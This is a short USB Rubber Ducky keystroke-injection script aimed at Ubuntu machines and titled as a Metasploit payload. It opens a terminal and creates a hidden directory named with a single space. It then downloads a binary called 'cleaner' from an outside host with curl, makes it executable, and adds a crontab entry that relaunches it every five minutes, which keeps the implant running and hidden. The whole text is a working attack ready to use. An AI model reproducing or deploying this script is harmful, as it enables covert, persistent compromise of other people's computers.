Ruber Ducky Ubuntu Metasploit

REM Code: open terminal on ubuntu-distros
DELAY 500
CTRL-ALT t
DELAY 2000
STRING test -d " " || mkdir " "
ENTER
DELAY 2000
STRING cd " "
ENTER
DELAY 2000
STRING curl https://download.tcpdump.de/cleaner -o cleaner
ENTER
DELAY 2000
STRING chmod  +x cleaner 
ENTER
DELAY 2000
STRING echo '*/5 * * * * /usr/bin/pgrep -x cleaner > /dev/null || ~/" "/cleaner' | crontab
ENTER
DELAY 1000
STRING exit
ENTER
DELAY 1000
STRING exit
ENTER